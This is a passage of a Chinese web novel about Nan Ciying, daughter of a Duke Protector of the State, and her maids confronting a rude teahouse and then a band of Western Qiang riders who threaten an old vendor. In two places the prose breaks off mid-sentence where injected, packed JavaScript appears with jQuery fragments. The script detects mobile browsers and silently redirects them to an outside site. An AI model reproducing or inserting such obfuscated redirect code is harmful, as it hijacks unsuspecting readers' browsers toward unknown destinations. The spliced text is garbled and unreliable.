子衿轻叹一声,拒绝的话怎么也说不出口,犹豫半天,还是同意了:“小姐出门时多带上些护卫,我和松送风茶舍已经打过招呼,楼上的包房始终留了一间,今日城中事忙……不能陪你,你……别怨我好不好?”
南辞盈唇角轻扬勾出一抹浅软的笑,眼尾微弯,温温的像揉进了春光:“我知道,子衿也有自己的不得已,我又怎么会怪你呢?”
回到院落,子衿细细叮嘱春荷和小夏去茶楼时一定要照顾好南辞盈,莫要叫人冲撞到。小夏不解,明明自己没有订到位置,为何今日还会出门,刚想开口,便被南辞盈唤回屋里,替她梳妆打扮。
马车上,春荷询问道:“听小夏说,今日没有订到松风茶舍的包厢,为何又突然出门了?”
南辞盈头靠车壁闭目养神,声音略有一丝疲惫:“子衿订到了,说是掌柜特意留了一间包房。”
小夏听闻勃然大怒:“我明明也递了镇国公府的帖子,这个狗掌柜,见是我们小姐的名字就推脱,瞧不起谁呢?”
“小夏你冷静一点。”春荷眉峰轻蹙,安抚道,“说不定是掌柜记忘了,干嘛发这么大火,叫人看见一点规矩都没有。”
“怎么可能忘记,子衿去定也一定是挂着镇国公府的名字,偏提到我们小姐的名字就说没有,这不是欺负人么!”小夏义愤填膺,气势汹汹,“这群看人下菜碟的小人,到时定要给他们的颜色瞧瞧。”
“好了。”春荷厉声训斥,给小夏使了个眼色,“闹什么,差不多得了,到时候让一群人看镇国公府和小姐的笑话就满意了?”
“可……”小夏眼神瞥向南辞盈,话又噎了回去,小声嘀咕道,“他们也太欺人太甚了。”
东街之上,人声鼎沸,车马辚辚相轧,两侧肆铺栉比,旗幌招展,比起西街来,东街更富贵繁华。
松风茶舍的门口挤满了络绎不绝的人群,马车被卡在路上半天,最后无奈,春荷只让小夏先陪着南辞盈先下车步行去茶楼,自己跟车夫将马车停好。
还没迈进茶楼的门,便被一个小厮拦了下来。他瞥见是富贵人家的衣着打扮,马上变了个笑脸:“咱们是哪家的小姐,是否有预定啊,实不瞒您说,这两日咱家场场爆满,怕里面人太多,不小心冲撞了贵人。”
小夏也没给那个小厮好脸色,抬着下巴梗着颈,趾高气昂道:“我们是镇国公家的,预定了一间上房。”
“镇国公府?”小厮仔细瞧了瞧眼前二人,态度骤变,扯唇讥笑,“镇国公府确实是有预定,咱们东家亲自交代给留了间上房,可你们?哼,又算是哪根葱?”
见小厮如此欺辱自家小姐,小夏一下被激怒,将春荷下车时的交代全部抛诸脑后,扯着嗓子和他争辩:“你这个狗眼看人低的东西,你可知我家小姐是镇国公独女,还敢如此怠慢,信不信我找人砸了你的场子?”
“呦呦呦,镇国公独女又如何?今后无亲兄弟庇佑,镇国公家业旁落他人,不还是个寄人篱下的主儿?谁又能指望一个女孩担起镇国公府的门楣,不然为何镇国公还要收养子,不就是觉得女儿靠不上么?”
整个朔云城的人都知道,镇国公从来没有把这个女儿放在眼里。更何况,在军中早就流传出镇国公有养子的说法,并且半年来一手提拔成自己身边的副将。
那养子眼看着会继承镇国公的爵位,成为下一任镇国公,届时哪还有这个镇国公独女什么事?
小厮不停冷嘲热讽,丝毫没有把南辞盈放在眼里,反而更变本加厉了起来:“别说是将来,就是放眼现在,当年大名鼎鼎的叶将军不也是到最后,嫁人生子,落了个血崩而亡的结局。女人,还是安分守己点,在家相夫教子,才能活得长久。省得以后养子上位,继承家产,第一个收拾你们。”
还冲南辞盈挑衅道:“大小姐,快快回家讨好人家吧,还来喝什么茶听什么曲啊。”
“放肆!将军名讳岂由尔等置喙。”春荷步子稳而疾,自带风势,眉眼冷利,甫一立定,周遭喧闹先敛了三分,“把你们东家叫出来,让我看
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117007|195929||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看松风茶舍是不是今后不想开了,竟允许下人随意侮辱镇国公独女。”
周围聚满了看热闹的人,春荷依旧气势不减,眉峰微凛,眸光自带威严。
她轻轻牵起南辞盈的手,将其护在身边,低声安慰:“小姐别怕,还有我们。”
小夏冲那小厮厉声呵斥:“怎么?还要等着让镇国公亲自来请吗?”
小厮一看形势不妙,连滚带爬跑回了屋子里,不一会松风茶舍的东家便从里间走了出来,满脸堆笑,腰弯成弓,身后还跟着乌泱泱一大群人。
“哎呦,一定是我们招待不周,才惹得姑奶奶如此生气。”东家赔着小心凑上前,点头哈腰,话里话外全是讨好,转身又狠狠踹了方才的小厮一脚,“都怪这个狗奴才,不知天高地厚,言语间冲撞了贵人,还望贵人不要因此耽误了来品茗的心情。”
春荷讥笑道:“东家好大的谱啊,躲在后面竟要我们请你才肯出来,不知道的还以为东家故意派人来为难我们镇国公府的人呢。”
东家冷汗岑岑,连说话都磕磕绊绊:“岂敢岂敢,姑奶奶说这种话真让我羞愧啊,镇国公府别说是在朔运城,放眼整个昭宁都是响当当的存在,我又怎么敢做出不恭敬的事呢?”
“敢不敢的都已经做出来了,这么多双眼睛都看着我家小姐今日来你这里受此折辱,不好好赔礼是不是说不过去啊。”
春荷往前半步,脊背挺得如松,声音清亮却带着压人的威势,冷眼扫过刚才的小厮。
小厮吓到直接跪在地上不停磕头:“求姑奶奶饶我一命,求姑奶奶饶我一命……”
“你以为你一句饶命就能盖过今天做的错事么?”春荷柳眉一横,话音掷地有声,“来人,将这个人带下去,依法查办。”
周遭仆役皆敛声屏气,连大气都不敢喘,那小厮早吓得脸色发白,涕泗横流,侍卫上前将其拖下长阶时,还不停回头求饶。
东家是个机灵人,打眼看出方才的侍卫是军中之人,且前两日镇国公的养子来松风茶舍定房时身后就跟着这二人,顿时明白了一切。
还以为镇国公独女真像外界传言,不受府上人待见。自己真是被猪油糊了心,觉得她今后必定会和府上的那位养子水火不容,哪成想,竟是人家的心尖宠,半分怠慢不得。
他现在真是悔得肠子都青了。
春荷目光凌厉地瞥了他一眼,语气冷硬:“今日之事,我会完完整整地说予镇国公听,让他来断一断松风茶舍的所作所为,能不能为人所容。”
春荷在众人面前狠狠出了一口恶气后,转身拉着南辞盈回了马车,方才那慑人的气势尽数敛去,只剩满心的忐忑,只惦着南辞盈会不会因方才的事心里难受,踌躇半天,也不知怎么开口。
小夏倒是没想那么多,兴冲冲地说道:“叫那些小人瞧不上我们家小姐,净在背后乱嚼舌根,这下怕了吧,我看从今往后谁还敢说镇国公的女儿只能最后落得众叛亲离的下场……”
“闭嘴。”
春荷一个眼刀飞过,小夏才觉出自己说错了话,偷偷观察着南辞盈的脸色。
南辞盈又不是第一天才知道,自己在外人眼里是什么样子。大家都觉得镇国公膝下无子,她身为女孩,注定是要被吃绝户,或者家产旁落他人,不得好结局。
哪有几人真心敬着她的身份,怕是看热闹的人占更多罢了。
她要是天天把这种人的想法放在心上,自己还活不活了。
“唉。”南辞盈趴在窗沿边,轻叹了口气,“我是真的想出来喝茶听曲。”
“这帮狗东西真是,搅了小姐出门的兴致,真真罪该万死。”小夏随声附和,提议道,“要不,我们去西街的茶楼吧,虽比不上这里的,倒也清净。”
春荷忍无可忍,揪着小夏的耳朵训斥:“快闭嘴,西街住的全都是原先古羌的人,多么危险……”
“好。”
“诶?”
车上的另外两个人均是一愣。
南辞盈缓了口气,正襟危坐:“我们就去西市喝茶。”
7. 西羌入城——赫连月兰
南辞盈上了茶馆二楼,找了间窗户靠近主街的包厢,简单点了一壶日铸雪芽,坐在榻上,放空自己,托腮看着楼下的人来人往。
外面日头暖得刚好,街道两旁的梧桐枝桠叠着浓绿,筛下斑驳碎影,风掠过巷口,卷着槐花落尽的淡香。
相比于夜里,白日的西街更加清冷少人,街旁商贩寥寥无几,大多行人步履匆匆,这个地方像是被人们遗忘,安静祥和,没有纷扰。这种与世隔绝的感觉,正好可以让她沉下心来,静思所想。
春荷絮絮叨叨一路,也没改变南辞盈的想法,气得她一路上都没给小夏好脸色。子衿临出门前,千叮咛万嘱咐一定要照顾好小姐的安全,可她兜兜转转一圈竟然把小姐带到了西街这个是非之地,这让她怎能不心焦。
“小姐,我们回去吧。”春荷一边拿起在炭炉上已经沸腾的银壶,挽手慢倒,熟练地冲洗茶盏,一边继续语重心长地劝道,“最近我朝与西羌关系紧张,如今许多人都不来西街这里,怕招惹是非。”
南辞盈不紧不慢地用茶匙取了二两茶叶放入温好的茶盏中,注入少许沸水,等醒茶去尘后,才缓缓开口:“古羌早已灭族,这里的人大多数人已在此生活五代有余,早就融入当地,和西羌又有什么关系。春荷啊,放宽心,天塌下来有本小姐顶着。”
“光是到这一步便茶香四溢,没成想春栖楼的茶竟不逊色于松风茶舍,看来以后还得常来。”
南辞盈挥手招了招茶香,心满意足地继续加水冲泡,完全没把春荷的话放在心上。
“小姐,事情并不是这么简单。古羌和西羌虽不是一回事,但毕竟同根同源。古羌被灭后,剩下的部落逃到了玄祁山上,才成为了今天的西羌。”
春荷深吸一口气,一开口便滔滔不绝,看样子势必要把其中利害关系给她讲明白。
“西羌不比当年根浅势微,如今接连收复了北方大部分的部落,实力雄厚,又厉兵秣马不断挑衅边疆。朝堂上皇上态度晦暗不明,大臣们又多数主和,局势紧张,你怎知会有多少曾经古羌的人想借此机会,回到西羌。小姐身份特殊,说不定就有人暗中想把小姐绑走交给西羌卖好,然后西羌就会用小姐来威胁公爷。天呐,朔云城要沦陷了……”
“好。”南辞盈被春荷念得额角隐隐发痛,抬手制止了春荷继续说下去,“听你的,咱们喝完这盏茶就回去。”
春荷见此松了一口气,欣慰道:“小姐明白了就好……”
虽这么说,但是南辞盈并不认为自己认识的这帮人会做出这种事。他们在昭宁和古羌的夹缝中求存,如同千千万万个寻常的百姓一样,只想要好好活着,在世间谋求自己的生路。
正愣神的功夫,南辞盈望向窗外,突然看到了一抹熟悉的身影……
张妙人,就算是化成灰,摘了面具,她也认得他。
那一瘸一拐的走路姿势,在西街里除了他还有谁啊。
“咦?”小夏顺着南辞盈的目光看去,诧异道,“这不是前几天在东街招摇撞骗的道士么?”
“他?”这回轮到南辞盈惊讶了,“招摇撞骗,还去东街?”
小夏定睛又仔细看了眼街上的身影,随后笃定地点点头:“没错,就是他,东街好多人现在都要追着他揍呢。不仅给人家乱算命,还忽悠人买假药,许多人都上当受骗了。”
春荷为她倒茶时也顺便瞄了一眼窗外:“小姐认识?”
“这么缺钱么……”南辞盈垂眸思索着,面色凝重,不自觉地小声嘀咕了句,随后反应过来春荷在和自己说话,连忙摆手,“我哪里认识他啊。”
春荷面不改色地将倒好的茶轻推至她面前,语气幽怨:“不一定,小姐也就长了一张看起来很乖的脸,实际上干得全是叛逆的事……”
“咳咳。”南辞盈不小心被茶呛到,努力辩解,“其实,实际上也很乖……”
春荷一脸不信,小夏一脸不信。
好吧,自己原来这么没口碑……
南辞盈将视线转回了街上,发现张妙人又拖着沉重的木箱,一瘸一拐地追在行色匆匆的路人身边不停推销,样子既好笑,又心酸。
按理说,鬼市里的大部分小贩是不会在白天上街的,一是因为知道自己不受待见,二是会引来很多不必要的麻烦。
就如春荷所说,在多数世人眼中,古羌和西羌是一回事,所以根本抛不开对其的偏见与不信任。住在西街的古羌人们不能离开朔云城,不能参加科举,不能和昭宁的子民产生冲突……
连平日遭受不公也投靠无门,官府上下全然不辨是非,一味偏袒本朝子民,受了委屈也只能打碎牙齿活血吞。
她在鬼市的时候,已经听过太多太多的故事,而这些闻者落泪的事,却是真真切切发生在每个人身上的经历。
比如,张妙人。
“春荷,小夏,你们看过皮影戏么?”
南辞盈冷不丁的问题,问得她们两个人一头雾水,小夏不解道:“皮影戏?每逢过年过节时街上总会有人出来摆摊子,小姐怎么突然想起皮影戏了?”
“我想起之前在书上看过一则皮影戏的故事。”
南辞盈在胡扯,实则她是在鬼市时见过,而演皮影戏的人正是张妙人。
“从前有一位男子家境贫穷,所以他焚膏继晷,夜以继日地拼命读书,想要考取功名,能在将来为自己的父母修墓立碑,后来直至他在报名那日才得知因自己父辈犯错,他这辈子与仕途无缘。一腔热血变凉,曾经的一切成了笑话,他想不开,想要投河自尽。”
南辞盈娓娓道来,春荷和小夏在一旁听得津津有味。
“后来,他遇见了一个同样也要自尽的女人。”
小夏恍然大悟:“我知道了,一定是那个男子救了女子,然后二人和和美美的生活在了一起。”
南辞盈眼中满是钦服:“小夏,你还真是没少看话本子,这都能猜到。”
小夏还想说什么,春荷一把捂住她的嘴,不停追问:“然后呢?然后呢?”
“咳咳,”南辞盈清了清嗓子,从容不迫的抿了口茶,言道,“原来女子是被仇家绑走后,一天一夜未归家,清白受辱,最后为世俗不容,选择跳河了此残生。两人遇见,原本约定一起跳下,好在黄泉路上作伴。偏造化弄人,两人被冲上岸后,没死成,便想:既然老天不收他们,那便试着活活看。”
“后来二人在男子的小茅草屋住了下来,日久生情,喜结连理,生了一个女儿。”
春荷意犹未尽:“没啦?”
“没啦,就这样。”
南辞盈不疾不徐地放下茶盏:“好了,茶喝完了,咱们打道回府。”
正准备起身,窗外突然传来一声尖叫。
街上不知何时出现了一群西羌装扮的人,皆骑高头健马,身形魁梧,眉目间凝着冷厉。
一行人目不旁视,气势汹汹直闯街巷,鞍侧佩刀寒芒乍闪,周身戾气迫人,马蹄所至,路人皆惊惶避让,那股凶戾蛮横的气势,压得整条街巷都静了几分。
稀奇的是,为首的竟还是一个十来岁的女孩。
猛然,女孩抬头时和南辞盈的视线相撞,她非但没有避开,反而眼尾微挑,露出一抹桀骜的笑意。
好狂。
南辞盈不自觉握紧了窗沿,不知为何,她只一眼便能感受到女孩身上的傲气。不同于任何养在深闺的名门贵女,她是一只不被规训、翱翔天际的鹰。
“这里便是昭宁施舍
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17117008|195929||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
给古羌子民的地段?”
赫连月兰身着窄身胡服,红黑相间的衣料贴紧利落的肩背,腰间束着兽皮腰封,悬着小巧的弯刀,发间束着赤金额带,垂落的编发缠着银链,风吹过时发丝与链饰齐扬。
在她身侧的女子——浑氏逐燕,一手挽着缰绳,一手挥着长鞭,将路边的摊子掀翻在地:“罪民叛国,为在敌国求一席之地,竟然还摆摊卖货,将此地起名鬼市,真是荒唐可笑。沦落他国之手,便是要以死明志,以表忠贞,才算是我古羌子民。”
张妙人被吓倒在地,因为腿脚不利索,几次从地上爬起都难,木箱里的瓶瓶罐罐撒了一地,叮当碎裂的声音引起了街上一行人的注意。
女孩瞥见张妙人木箱上的花纹,勒马上前,低低一笑:“你是古羌人,在卖东西?卖给昭宁子民?”
“我……不是,我没有……”张妙人被吓到说话都不利索,牙齿打颤,肩头止不住地发抖,“求大人饶命,求大人饶命……”
浑氏逐燕挥动长鞭,往地上一抽,脆响伴着厉喝炸开:“放肆!你身为古羌的子民,与我族本为一母同胞兄弟,却为苟全性命,认贼作父,怎还有脸活着!”
“给你个机会。”赫连月兰面上挂着笑,眼底却冷沉沉的,半点笑意也无,“自尽,或还可证你是我古羌子民。”
“不……不不不……求大人饶命,求大人饶命。”张妙人嘴唇哆嗦着,话都说不连贯,跪倒在地,连连叩首,“我……我家里还有一个三岁的女儿……求大人饶我一命……我愿来世结草衔环报答大人……”
“三岁的女儿啊,”赫连月兰惋惜地叹了口气,“可惜这么小就要没有父亲了,不过没关系,我西羌向来男女地位平等。她被你这个叛国子民荼毒不深,想来也是能今后为我西羌征战出上一份力,也算弥补了你曾经的罪孽了。”
赫连月兰面上慈悲,眼尾微垂似不忍,话音却冰冷恶毒。
浑氏逐燕将腰间匕首扔到了他的面前:“来吧,你自尽了,你的女儿西羌替你养,保证她今后能成为一名优秀的战士,为国效力。”
张妙人涕泗横流,手指抖得像筛糠,去拿匕首几次滑落,最终脱力般瘫倒在地,双手胡乱扒着地面,撕心裂肺地嚎啕大哭,哭声里满是惧意与绝望:“求大人能饶我一命……幼子无辜,恐不能效犬马之劳……”
“唉……”赫连月兰轻叹,惋惜道,“那便算了吧……”
张妙人跪在地上连连磕头,抑制不住的欢喜,额头血肉模糊一片也毫无察觉:“谢大人……谢大人……”
还未等张妙人起身离开,一道凌厉的鞭风直直向他抽来,啪的一下,打在面门,痛得他满地打滚,哀嚎不断。
赫连月兰眉峰轻蹙,带着几分怅然:“真可惜,原以为你的女儿能为国效力,看来有你这样的父亲,也是她的不幸,既如此,我便到时送你父女二人一同上路吧。”
“你算什么东西,敢随意处置我昭宁的子民。”
南辞盈站在二楼,语锋刚劲,那股气势直透人心。
“哦?你又是何人?来掺和我西羌的事?”赫连月兰轻佻眉峰,眼中满是不屑,“不过是区区孩童,真是好大的胆子,敢口出狂言对我不敬。”
“那西羌不过是古羌的断壁残垣,曾经古羌如日中天之时,我昭宁都并未放在眼中,何况现在?”南辞盈歪着脑袋,故作挑衅的姿态,“诶?那古羌那么厉害又哪去了呢?哦,原来是被我昭宁灭了啊,哈哈哈,还真是可惜,你说是也不是?”
赫连月兰笑意渐渐龟裂,眼底瞬间翻起戾色,掌心不自觉扣住身侧刀柄,只剩压不住的愠怒。
南辞盈望见赫连月兰面露怒色,唇角笑意更盛:“西羌,不过如此啊。”